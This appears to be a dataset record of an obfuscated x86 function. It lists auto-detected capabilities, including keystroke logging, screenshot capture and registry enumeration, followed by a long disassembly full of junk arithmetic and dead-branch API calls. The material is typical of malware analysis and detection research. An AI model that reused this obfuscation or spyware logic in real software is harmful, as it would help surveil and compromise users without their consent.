Function at 0x10024d6a
Capabilities:
Capture screenshot
Check os version
Compare security identifiers
Enumerate gui resources
Extract resource via kernel32 functions
Get disk information
Get file size
Get graphical window text
Get keyboard layout
Identify system language via api
Log keystrokes via polling
Parse pe header
Query or enumerate registry key
Read .ini file
Suspend thread

Disassembly:
mov eax, 0x1007d9f3
call fcn.1007ccc0
mov eax, 0x156c
call fcn.10079580
push ebx
push esi
mov dword [ebp - 0x28], 7
xor eax, eax
push edi
mov dword [ebp - 0x48], 0xb999fb02
xor esi, esi
mov dword [ebp - 0x24], 1
inc esi
push 3
mov dword [ebp - 0x18], eax
pop ebx
mov byte [ebp - 0x69], dl
mov dword [ebp - 0x54], ecx
cmp dword [ebp - 0x18], ebx
jge 0x10024dc0
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x5f0], esi
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x10024dac
xor eax, eax
mov dword [ebp - 0x5ec], 0xfffffff0
cmp dword [ebp - 0x5ec], 0x16
push 0xfffffffffffffff6
pop ecx
jl 0x10024ebc
jmp 0x10024dde
xor eax, eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0xa5c], ecx
mov dword [ebp - 0xa58], ecx
mov dword [ebp - 0xa54], ecx
mov dword [ebp - 0xa50], ecx
mov dword [ebp - 0x30], 0xb2455f99
mov dword [ebp - 0x18], eax
jmp 0x10024e16
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x1048], 0xa2324015
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x10024e05
inc dword [ebp - 0x1c]
mov eax, dword [ebp - 0x5ec]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0xa54], eax
test eax, eax
jne 0x10024e84
mov eax, dword [ebp - 0xa54]
cmp eax, dword [ebp - 0x24]
jg 0x10024e69
mov ecx, dword [ebp - 0x5ec]
mov eax, dword [ebp - 0x24]
imul ecx, eax
mov eax, dword [ebp - 0x28]
sub ecx, eax
mov dword [ebp - 0xa54], ecx
lea eax, [ecx - 0x564705b8]
cmp dword [ebp - 0x28], eax
je 0x10024e69
xor eax, eax
lea edx, [eax + 1]
jmp 0x10024e6d
xor eax, eax
mov edx, eax
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
cmp edx, eax
setg cl
xor esi, esi
sub ecx, dword [ebp - 0x1c]
jne 0x10024e83
xor eax, eax
inc esi
jmp 0x10024e86
inc esi
mov eax, esi
add eax, 5
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x1048], eax
mov eax, dword [ebp - 0x1048]
sub eax, 0xfffffff9
neg eax
push 0xfffffffffffffff6
sbb eax, eax
inc eax
mov dword [ebp - 0x30], eax
inc dword [ebp - 0x5ec]
cmp dword [ebp - 0x5ec], 0x16
pop ecx
jge 0x10024ddc
push 5
pop eax
mov dword [ebp - 0x4b4], eax
mov dword [ebp - 0x4b0], eax
mov dword [ebp - 0x4ac], eax
mov dword [ebp - 0x4a8], eax
xor eax, eax
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x18], esi
dec dword [ebp - 0x18]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0x15
push 0xffffffffffffffff
pop edi
je 0x10024f95
push esi
lea ecx, [ebp - 0x690]
call fcn.1000a8a0
xor eax, eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], esi
jge 0x10024f2f
push dword [ebp - 0x20]
lea ecx, [ebp - 0x690]
call fcn.1000a90d
mov dword [eax], 0x905d09ea
xor eax, eax
inc dword [ebp - 0x20]
inc eax
cmp dword [ebp - 0x20], eax
jl 0x10024f0b
xor esi, esi
xor eax, eax
inc esi
push eax
lea ecx, [ebp - 0x690]
call fcn.1000a90d
mov dword [eax], 0x17
jmp 0x10024f65
xor eax, eax
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], al
je 0x10024f57
push 0x21
call dword [sym.imp.USER32.dll_GetQueueStatus]
xor eax, eax
push eax
lea ecx, [ebp - 0x690]
call fcn.1000a90d
dec dword [eax]
xor eax, eax
lea ecx, [ebp - 0x690]
push eax
call fcn.1000a90d
cmp dword [eax], 0xfffffff1
jne 0x10024f43
lea ecx, [ebp - 0x690]
mov dword [ebp - 4], edi
call fcn.1000a908
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0x15
jne 0x10024ef2
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 4
jge 0x10024fb7
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x13e4], 0x67120dd9
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x10024f9e
xor eax, eax
mov dword [ebp - 0x18], 0x2e8
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 2
jge 0x10024fe0
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0xbc], 0x99841b3c
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 2
jl 0x10024fc7
xor eax, eax
mov dword [ebp - 0xbc], 8
cmp dword [ebp - 0xbc], 0xffffffe5
jle 0x10025087
jmp 0x10024ffb
xor eax, eax
mov dword [ebp - 0x30], 0x7d1649bc
mov dword [ebp - 0x20], eax
jmp 0x10025018
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x664], 0xd0657689
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 2
jl 0x10025007
mov edx, dword [ebp - 0x664]
xor ecx, ecx
mov eax, dword [ebp - 0x664]
sub edx, eax
mov eax, dword [ebp - 0xbc]
cmp edx, eax
push 5
setge cl
pop eax
sub eax, ecx
jne 0x10025046
mov eax, dword [ebp - 0x660]
mov eax, dword [ebp - 0x664]
mov eax, dword [ebp - 0xbc]
mov eax, dword [ebp - 0xbc]
mov eax, dword [ebp - 0xb8]
mov eax, dword [ebp - 0xb8]
xor eax, eax
cmp dword [ebp - 0x18], eax
jge 0x1002506d
jne 0x1002506f
je 0x10025071
mov eax, esi
mov dword [ebp - 0x30], eax
dec dword [ebp - 0xbc]
cmp dword [ebp - 0xbc], 0xffffffe5
jg 0x10024ff9
xor eax, eax
mov dword [ebp - 0x18], eax
jmp 0x100251f3
mov dword [ebp - 0x20], 0xad901516
mov dword [ebp - 0x20], esi
cmp dword [ebp - 0x20], eax
jl 0x100251f0
push esi
lea ecx, [ebp - 0x590]
call fcn.1000a8a0
xor eax, eax
mov dword [ebp - 4], esi
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], esi
jge 0x100250de
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x590]
call fcn.1000a90d
and dword [eax], 0
xor eax, eax
inc dword [ebp - 0x2c]
inc eax
cmp dword [ebp - 0x2c], eax
jl 0x100250bd
xor esi, esi
xor eax, eax
inc esi
push eax
lea ecx, [ebp - 0x590]
call fcn.1000a90d
xor ecx, ecx
push ecx
mov dword [eax], ecx
lea ecx, [ebp - 0x590]
call fcn.1000a90d
cmp dword [eax], esi
jg 0x100251d7
xor eax, eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 4
jge 0x10025126
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x7b0], 2
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 4
jl 0x1002510d
xor eax, eax
mov dword [ebp - 0x7b0], eax
cmp dword [ebp - 0x7b0], 2
jge 0x10025153
mov eax, dword [ebp - 0x7b0]
mov dword [ebp + eax*4 - 0xbc], esi
inc dword [ebp - 0x7b0]
cmp dword [ebp - 0x7b0], 2
jl 0x10025135
xor eax, eax
push eax
lea ecx, [ebp - 0x590]
call fcn.1000a90d
mov eax, dword [ebp - 0x7b0]
mov ecx, 0xee00b46f
mov eax, dword [ebp - 0x20]
cmp ecx, eax
mov edx, dword [ebp - 0x7a8]
sbb eax, eax
neg eax
sub edx, eax
mov eax, dword [ebp - 0x20]
neg edx
sbb edx, edx
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0xbc]
inc edx
cmp eax, 0x16c28cbd
mov eax, dword [ebp - 0x20]
setne cl
sub edx, eax
add edx, ebx
imul ecx, edx
cmp ecx, 7
lea ecx, [ebp - 0x590]
sbb eax, eax
xor ebx, ebx
neg eax
add eax, 0x65cab430
push ebx
mov dword [ebp - 0xbc], eax
call fcn.1000a90d
push ebx
lea ecx, [ebp - 0x590]
inc dword [eax]
call fcn.1000a90d
push 3
pop ebx
cmp dword [eax], esi
jle 0x10025102
lea ecx, [ebp - 0x590]
mov dword [ebp - 4], edi
call fcn.1000a908
dec dword [ebp - 0x20]
jns 0x100250a4
xor eax, eax
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0x1b
jg 0x10025091
mov dword [ebp - 0x40], eax
jmp 0x10025457
mov dword [ebp - 0x20], 7
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x1c], 0xdae5a60d
mov dword [ebp - 0x48], 0x2949f4ff
mov dword [ebp - 0x28], 0xfb26c4f3
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x1c], eax
xor eax, eax
cmp dword [ebp - 0x1c], eax
jne 0x1002523a
cmp dword [ebp - 0x20], eax
jne 0x1002523a
mov ecx, eax
jmp 0x1002523f
xor eax, eax
lea ecx, [eax + 1]
mov eax, dword [ebp - 0x20]
xor edx, edx
imul eax, ecx
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
cmp ecx, eax
mov eax, dword [ebp - 0x20]
setne dl
inc edx
neg edx
sbb edx, edx
add edx, 0xa
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp eax, edx
setle cl
add ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x48], ecx
je 0x100252f9
xor eax, eax
mov dword [ebp - 0x30], 0xb8fa48a2
xor ecx, ecx
mov dword [ebp - 0x10], eax
inc ecx
cmp dword [ebp - 0x10], ecx
jge 0x100252a7
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x9c0], 0x329e
xor eax, eax
inc dword [ebp - 0x10]
inc eax
cmp dword [ebp - 0x10], eax
jl 0x1002528c
xor eax, eax
mov dword [ebp - 0x10], eax
jmp 0x100252bd
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x978], 0
inc dword [ebp - 0x10]
xor eax, eax
inc eax
cmp dword [ebp - 0x10], eax
jl 0x100252ac
mov eax, dword [ebp - 0x48]
xor esi, esi
mov eax, dword [ebp - 0x1c]
inc esi
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x1c], esi
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x9c0], eax
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x978], eax
mov eax, dword [ebp - 0x28]
xor eax, eax
mov dword [ebp - 0x28], eax
jmp 0x10025307
mov dword [ebp - 0x30], edi
xor esi, esi
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x30], eax
xor eax, eax
inc esi
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], esi
jge 0x1002532d
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x88], 0x8c66f5a9
xor eax, eax
inc dword [ebp - 0x18]
inc eax
cmp dword [ebp - 0x18], eax
jl 0x1002530f
xor esi, esi
xor eax, eax
inc esi
mov dword [ebp - 0x88], ebx
cmp dword [ebp - 0x88], eax
jl 0x1002544e
mov dword [ebp - 0x20], 0xfffffffd
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], ebx
jg 0x10025442
mov dword [ebp - 0x18], 0x7b844a75
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jg 0x10025412
mov dword [ebp - 0x30], esi
xor ebx, ebx
mov ecx, dword [ebp - 0x88]
mov eax, dword [ebp - 0x13dc]
add ecx, 0x9ac5b813
cmp ecx, eax
mov eax, dword [ebp - 0x20]
setg bl
xor edx, edx
mov ecx, dword [ebp + eax*4 - 0x4b4]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x4b4]
cmp ecx, eax
mov eax, dword [ebp - 0x20]
setle dl
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x4b4]
cmp ebx, eax
setle cl
xor eax, eax
cmp edx, ecx
setge al
add eax, 0x193f
mov dword [ebp - 0x30], eax
xor eax, eax
cmp dword [ebp - 0x18], eax
je 0x100253df
mov eax, dword [ebp - 0x20]
cmp dword [ebp + eax*4 - 0x4b4], 0
je 0x100253dd
xor eax, eax
lea esi, [eax + 1]
jmp 0x100253e1
xor eax, eax
mov esi, eax
mov ecx, dword [ebp - 0x88]
xor edx, edx
mov eax, dword [ebp - 0x4b0]
cmp ecx, eax
push 3
setg dl
xor eax, eax
cmp edx, esi
pop ebx
setge al
neg eax
mov dword [ebp - 0x30], eax
inc dword [ebp - 0x18]
push 1
pop esi
cmp dword [ebp - 0x18], ebx
jle 0x1002536b
mov eax, dword [ebp - 0x4b0]
mov eax, dword [ebp - 0x4b0]
mov eax, dword [ebp - 0x88]
mov eax, dword [ebp - 0x88]
mov eax, dword [ebp - 0x88]
mov dword [ebp - 0x30], eax
inc dword [ebp - 0x20]
push 0
pop eax
cmp dword [ebp - 0x20], ebx
jle 0x10025358
dec dword [ebp - 0x88]
jns 0x1002533f
mov eax, dword [ebp - 0x88]
inc dword [ebp - 0x40]
cmp dword [ebp - 0x40], ebx
jle 0x10025205
push esi
lea ecx, [ebp - 0x3d0]
call fcn.1000a8a0
mov dword [ebp - 4], 2
xor eax, eax
mov dword [ebp - 0x18], 0x18885c6f
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x1c], 0x5718a84d
mov dword [ebp - 0x48], 0xb62e56c
mov dword [ebp - 0x30], 0xefb40acb
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], esi
jge 0x100254be
push dword [ebp - 0x18]
lea ecx, [ebp - 0x3d0]
call fcn.1000a90d
mov dword [eax], esi
xor eax, eax
inc dword [ebp - 0x18]
inc eax
push eax
pop esi
cmp dword [ebp - 0x18], eax
jl 0x1002549c
xor esi, esi
xor eax, eax
inc esi
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], eax
jl 0x1002578f
push 5
pop eax
mov dword [ebp - 0x2c], eax
lea ecx, [ebp - 0xca8]
mov dword [ebp - 0x40], eax
push esi
call fcn.1000a8a0
xor eax, eax
mov byte [ebp - 4], bl
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jge 0x1002550d
push dword [ebp - 0x10]
lea ecx, [ebp - 0xca8]
call fcn.1000a90d
and dword [eax], 0
xor eax, eax
inc dword [ebp - 0x10]
inc eax
cmp dword [ebp - 0x10], eax
jl 0x100254ec
xor esi, esi
xor eax, eax
inc esi
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 2
jge 0x1002552f
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xfe4], 2
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x10025516
xor eax, eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], eax
jl 0x10025774
push ebx
lea ecx, [ebp - 0xf4]
call fcn.1000a8a0
mov byte [ebp - 4], 4
push 6
pop eax
mov dword [ebp - 0x24], eax
xor eax, eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x50], 0xecd44262
mov dword [ebp - 0x20], eax
jmp 0x10025573
push dword [ebp - 0x20]
call fcn.1000a90d
mov dword [eax], 0x23d1bca9
inc dword [ebp - 0x20]
lea ecx, [ebp - 0xf4]
cmp dword [ebp - 0x20], ebx
jl 0x10025562
push esi
call fcn.1000a90d
xor ebx, ebx
lea ecx, [ebp - 0xf4]
push esi
mov dword [eax], ebx
call fcn.1000a90d
jmp 0x10025752
mov dword [ebp - 0x38], 0xebf085f
push esi
mov dword [ebp - 0x48], ebx
call fcn.1000a90d
lea ecx, [ebp - 0x3d0]
push dword [eax]
call fcn.1000a90d
cmp dword [eax], ebx
je 0x1002565e
mov dword [ebp - 0x48], esi
lea ecx, [ebp - 0xf4]
mov eax, dword [ebp - 0x48]
push esi
call fcn.1000a90d
xor ecx, ecx
push esi
cmp dword [eax], esi
setl cl
mov dword [ebp - 0x1c], ecx
lea ecx, [ebp - 0xf4]
call fcn.1000a90d
lea ecx, [ebp - 0x3d0]
push dword [eax]
call fcn.1000a90d
mov ecx, dword [ebp - 0x1c]
imul ecx, dword [eax]
cmp ecx, dword [ebp - 0x18]
je 0x1002560a
xor eax, eax
cmp dword [ebp - 0x2c], eax
jne 0x1002560a
mov esi, eax
inc eax
jmp 0x1002560f
xor eax, eax
inc eax
mov esi, eax
push eax
lea ecx, [ebp - 0xf4]
call fcn.1000a90d
lea ecx, [ebp - 0x3d0]
push dword [eax]
call fcn.1000a90d
xor edi, edi
xor ecx, ecx
inc edi
cmp esi, edi
setle cl
xor edx, edx
cmp ecx, dword [eax]
mov eax, dword [ebp - 0x18]
setl dl
xor ebx, ebx
cmp edx, 0x8679
setle bl
xor ecx, ecx
cmp eax, ebx
setl cl
xor eax, eax
sub ecx, dword [ebp - 0x18]
je 0x10025663
cmp dword [ebp - 0x1c], eax
je 0x10025663
mov esi, edi
jmp 0x10025665
xor edi, edi
xor eax, eax
inc edi
mov esi, eax
push eax
lea ecx, [ebp - 0x3d0]
call fcn.1000a90d
sub esi, dword [eax]
jne 0x10025681
push edi
lea ecx, [ebp - 0xf4]
call fcn.1000a90d
mov dword [ebp - 0x48], 0xe0c2df10
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x38]
cmp dword [ebp - 0x1c], eax
jne 0x100256af
push edi
lea ecx, [ebp - 0xf4]
call fcn.1000a90d
lea ecx, [ebp - 0x3d0]
push dword [eax]
call fcn.1000a90d
mov eax, dword [ebp - 0x30]
lea ecx, [ebp - 0xf4]
push edi
call fcn.1000a90d
mov eax, dword [ebp - 0x48]
lea ecx, [ebp - 0x3d0]
xor ebx, ebx
push ebx
call fcn.1000a90d
mov eax, dword [ebp - 0x28]
lea ecx, [ebp - 0xf4]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x40]
push ebx
call fcn.1000a90d
mov eax, dword [ebp - 0x24]
push 5
pop ecx
sub ecx, eax
je 0x10025712
push edi
lea ecx, [ebp - 0xf4]
call fcn.1000a90d
lea ecx, [ebp - 0x3d0]
push dword [eax]
call fcn.1000a90d
cmp dword [eax], ebx
je 0x10025712
xor eax, eax
lea esi, [eax + 1]
jmp 0x10025716
xor eax, eax
mov esi, eax
push eax
lea ecx, [ebp - 0xca8]
call fcn.1000a90d
lea ecx, [ebp - 0xf4]
mov dword [eax], esi
xor esi, esi
mov eax, dword [ebp - 0x28]
inc esi
mov eax, dword [ebp - 0xfe0]
add eax, dword [ebp - 0x1c]
push esi
mov dword [ebp - 0x38], eax
call fcn.1000a90d
push esi
lea ecx, [ebp - 0xf4]
dec dword [eax]
call fcn.1000a90d
xor ebx, ebx
lea ecx, [ebp - 0xf4]
cmp dword [eax], ebx
jge 0x10025599
push 3
pop ebx
mov byte [ebp - 4], bl
call fcn.1000a908
dec dword [ebp - 0x2c]
jns 0x1002553b
lea ecx, [ebp - 0xca8]
mov byte [ebp - 4], 2
call fcn.1000a908
dec dword [ebp - 0x18]
jns 0x100254ca
or edi, 0xffffffff
lea ecx, [ebp - 0x3d0]
mov dword [ebp - 4], edi
call fcn.1000a908
mov edi, dword [sym.imp.KERNEL32.dll_EnumResourceNamesW]
mov dword [ebp - 0x40], 0xffffffe5
cmp dword [ebp - 0x40], 0xb
jne 0x100257f1
xor eax, eax
mov dword [ebp - 0x18], 0xf0790389
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jg 0x100257e8
mov eax, dword [ebp - 0x18]
cmp dword [ebp + eax*4 - 0x4b4], 0
jne 0x100257e6
xor eax, eax
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], al
je 0x100257de
push eax
push eax
push eax
push eax
call edi
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jle 0x100257c1
xor eax, eax
inc dword [ebp - 0x40]
cmp dword [ebp - 0x40], 0xb
je 0x100257b2
or eax, 0xffffffff
xor ecx, ecx
mov dword [ebp - 0x10], eax
xor eax, eax
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x30], 0xa04f7772
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x10]
sub edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
cmp edx, eax
setg cl
xor edx, edx
mov dword [ebp - 0x48], ecx
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x10]
cmp ecx, eax
setle dl
imul edx, dword [ebp - 0x10]
imul eax, edx, 0x4f78
test eax, eax
jne 0x10025854
cmp dword [ebp - 0x10], eax
je 0x10025856
mov eax, esi
xor edx, edx
cmp eax, 0x3072
mov eax, dword [ebp - 0x10]
setne dl
xor ecx, ecx
cmp edx, eax
setne cl
xor eax, eax
test ecx, ecx
setns al
cmp eax, 2
sbb eax, eax
neg eax
mov dword [ebp - 0x30], eax
xor eax, eax
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], al
je 0x10025899
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_UpdateColors]
mov dword [ebp - 0x10], 0x3b26bdde
mov dword [ebp - 0x18], 0xea2c39d5
push 6
mov dword [ebp - 0x1c], 0xda19
mov dword [ebp - 0x10], 0xfffffffd
pop ebx
jmp 0x100258ec
mov dword [ebp - 0x28], 0xdead
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x10]
cmp eax, ecx
setle dl
xor eax, eax
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x18], eax
inc dword [ebp - 0x10]
xor edx, edx
cmp dword [ebp - 0x10], ebx
jne 0x100258ba
mov eax, dword [ebp - 0x18]
mov ecx, 0xffff
mov eax, dword [ebp - 0x1c]
cmp eax, ecx
push 0xfffffffffffffffe
setne dl
sub edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
neg edx
sbb edx, edx
xor ecx, ecx
neg edx
cmp edx, eax
mov eax, dword [ebp - 0x1c]
setl cl
xor edx, edx
cmp ecx, eax
setl dl
xor ebx, ebx
sub edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x10]
sub edx, 8
cmp edx, eax
mov eax, dword [ebp - 0x18]
setg bl
xor ecx, ecx
add ebx, 0x2dfce95
cmp eax, ebx
pop eax
setl cl
cmp eax, ecx
push 5
sbb eax, eax
add eax, 0xfa75ec3d
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x18], eax
pop eax
mov dword [ebp - 0x4e4], eax
mov dword [ebp - 0x4e0], eax
mov dword [ebp - 0x4dc], eax
mov dword [ebp - 0x4d8], eax
xor eax, eax
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 4
jge 0x10025996
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x1568], 0xc31e
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x1002597d
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0xffffffe6
jne 0x10025ad9
push 2
pop ebx
movdqa xmm0, xmmword [0x100093f0]
lea ecx, [ebp - 0x1384]
or eax, 0xffffffff
mov dword [ebp - 0x4c], 0xaf7f3e76
mov dword [ebp - 0x4c], eax
lea eax, [ebp - 0x1198]
push eax
lea eax, [ebp - 0x11a8]
push eax
movdqu xmmword [ebp - 0x11a8], xmm0
call fcn.1000a91c
lea ecx, [ebp - 0x2a1]
mov esi, eax
call fcn.1000a5b5
push eax
push dword [esi + 4]
lea ecx, [ebp - 0x720]
push dword [esi]
call fcn.1000a8e2
xor eax, eax
mov dword [ebp - 4], 5
xor esi, esi
mov dword [ebp - 0x18], eax
inc esi
cmp dword [ebp - 0x18], esi
jge 0x10025a2c
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x848], 0x8876
xor eax, eax
inc dword [ebp - 0x18]
inc eax
cmp dword [ebp - 0x18], eax
jl 0x10025a0e
xor esi, esi
xor eax, eax
inc esi
lea ecx, [ebp - 0x720]
cmp dword [ebp - 0x848], eax
jne 0x10025acc
push ebx
call fcn.1000a90d
and dword [eax], 0
jmp 0x10025a9b
xor eax, eax
mov dword [ebp - 0x18], 0x7597a61e
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], al
je 0x10025a6f
push eax
push eax
push 0x2cb
push 0xdfc
push eax
call dword [sym.imp.USER32.dll_InsertMenuW]
xor eax, eax
mov dword [ebp - 0x18], eax
jmp 0x10025a88
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], 0
je 0x10025a85
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultUILanguage]
xor eax, eax
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], eax
jle 0x10025a74
push ebx
lea ecx, [ebp - 0x720]
call fcn.1000a90d
dec dword [eax]
push ebx
lea ecx, [ebp - 0x720]
call fcn.1000a90d
cmp dword [eax], 0xfffffffb
jl 0x10025a49
or eax, 0xffffffff
lea ecx, [ebp - 0x720]
mov dword [ebp - 4], eax
call fcn.1000a908
dec dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xffffffe6
je 0x100259a6
jmp 0x10025ad7
or eax, 0xffffffff
mov dword [ebp - 4], eax
call fcn.1000a908
xor eax, eax
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], 0
je 0x10025af2
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ValidateRect]
xor eax, eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x10], 7
mov dword [ebp - 0x48], 0xae7b1b0c
push 3
mov dword [ebp - 0x18], eax
pop ebx
cmp dword [ebp - 0x18], ebx
jge 0x10025b26
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x2dc], 0x204e2db5
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x10025b0e
xor eax, eax
mov dword [ebp - 0x10], eax
jmp 0x10025b3c
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x2dc], 0xfffffffc
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x10025b2b
mov eax, dword [ebp - 0x2dc]
xor edx, edx
mov eax, dword [ebp - 0x2d4]
mov eax, dword [ebp - 0x2dc]
mov ecx, dword [ebp - 0x2d4]
mov eax, dword [ebp - 0x2d4]
cmp ecx, eax
mov eax, dword [ebp - 0x2dc]
setge dl
xor ecx, ecx
cmp eax, edx
setg cl
mov dword [ebp - 0x10], ecx
mov eax, dword [ebp - 0x2d8]
mov ecx, dword [ebp - 0x10]
sub ecx, eax
je 0x10025bc8
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jge 0x10025ba5
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x1248], 0xebf889e0
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x10025b8d
xor eax, eax
mov dword [ebp - 0x10], 0xfffffffd
jmp 0x10025bbd
cmp dword [ebp - 0x1248], eax
jne 0x10025c53
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0x13
jle 0x10025bae
jmp 0x10025c53
mov dword [ebp - 0x1c], 0xd081
xor edx, edx
mov dword [ebp - 0x48], 0xac8c
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x48], eax
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x48]
cmp ecx, eax
mov eax, dword [ebp - 0x10]
setne dl
xor ecx, ecx
inc edx
cmp edx, 0x90aec51a
push 3
setne cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x2d4]
setle dl
xor ebx, ebx
cmp eax, edx
mov eax, dword [ebp - 0x2d8]
setg bl
sub ebx, 0x68dd2ac3
neg ebx
sbb ebx, ebx
xor ecx, ecx
inc ebx
cmp ebx, eax
mov eax, dword [ebp - 0x1c]
pop ebx
setle cl
sub eax, ecx
mov ecx, 0xab721576
cmp ecx, eax
sbb eax, eax
neg eax
sub eax, dword [ebp - 0x1c]
neg eax
sbb eax, eax
xor edx, edx
inc eax
mov dword [ebp - 0x48], eax
mov ecx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x10]
cmp eax, ecx
setne dl
dec edx
mov dword [ebp - 0x10], edx
mov dword [ebp - 0x28], 7
xor eax, eax
mov dword [ebp - 0x48], 0xb999fb02
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jge 0x10025c82
mov eax, dword [ebp - 0x18]
